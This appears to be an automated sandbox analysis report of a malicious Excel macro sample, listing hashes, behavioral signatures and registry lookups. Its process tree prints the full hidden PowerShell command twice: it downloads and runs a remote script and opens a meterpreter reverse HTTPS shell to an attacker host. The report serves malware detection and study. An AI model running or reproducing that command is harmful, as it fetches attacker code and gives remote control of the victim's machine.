Analysis
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max time kernel
57s -
max time network
60s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
06-07-2024 22:19
Behavioral task
behavioral1
Sample
ec26f724c96ed1e774bff0f7b9190ce5cd583d6e733ecdc27ce58bfd98ddff22.xls
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
ec26f724c96ed1e774bff0f7b9190ce5cd583d6e733ecdc27ce58bfd98ddff22.xls
Resource
win10v2004-20240508-en
General
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Target
ec26f724c96ed1e774bff0f7b9190ce5cd583d6e733ecdc27ce58bfd98ddff22.xls
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Size
44KB
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MD5
131ef16f091ff53b2a1105b1888ede58
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SHA1
7a6e33c6db43066d29724fcaaa520af9d5153276
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SHA256
ec26f724c96ed1e774bff0f7b9190ce5cd583d6e733ecdc27ce58bfd98ddff22
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SHA512
072528801c2be63b28b13156ba596336f67f5592da6e770ab709f5140a986772f4bf64eece7d9141d5e8898f1d80d148c2cbc0cfac913445d0c4d6416fdb3e07
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SSDEEP
768:JtvoD8sGk3hbdlylKsgqopeJBWhZFGkE+cL4LxlnAZhgWeuFlmQQcQbJ9acY9ac6:oOk3hbdlylKsgqopeJBWhZFGkE+cL4LN
Malware Config
Extracted
https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3808 4668 wscript.exe 82 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1456 3344 powershell.exe 83 -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 1456 powershell.exe 3868 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation wscript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
flow ioc 4 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4668 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1456 powershell.exe 1456 powershell.exe 3868 powershell.exe 3868 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1456 powershell.exe Token: SeDebugPrivilege 3868 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 4668 EXCEL.EXE 4668 EXCEL.EXE 4668 EXCEL.EXE 4668 EXCEL.EXE 4668 EXCEL.EXE 4668 EXCEL.EXE 4668 EXCEL.EXE 4668 EXCEL.EXE 4668 EXCEL.EXE 4668 EXCEL.EXE 4668 EXCEL.EXE 4668 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4668 wrote to memory of 3808 4668 EXCEL.EXE 86 PID 4668 wrote to memory of 3808 4668 EXCEL.EXE 86 PID 3808 wrote to memory of 3868 3808 wscript.exe 87 PID 3808 wrote to memory of 3868 3808 wscript.exe 87
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ec26f724c96ed1e774bff0f7b9190ce5cd583d6e733ecdc27ce58bfd98ddff22.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4668 -
C:\Windows\SYSTEM32\wscript.exewscript C:\Users\Public\config.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3808 -
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3868
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1456
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
461B
MD5ce52ab154163c511f0efa6a61e22ab64
SHA19f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA256df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
SHA512cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78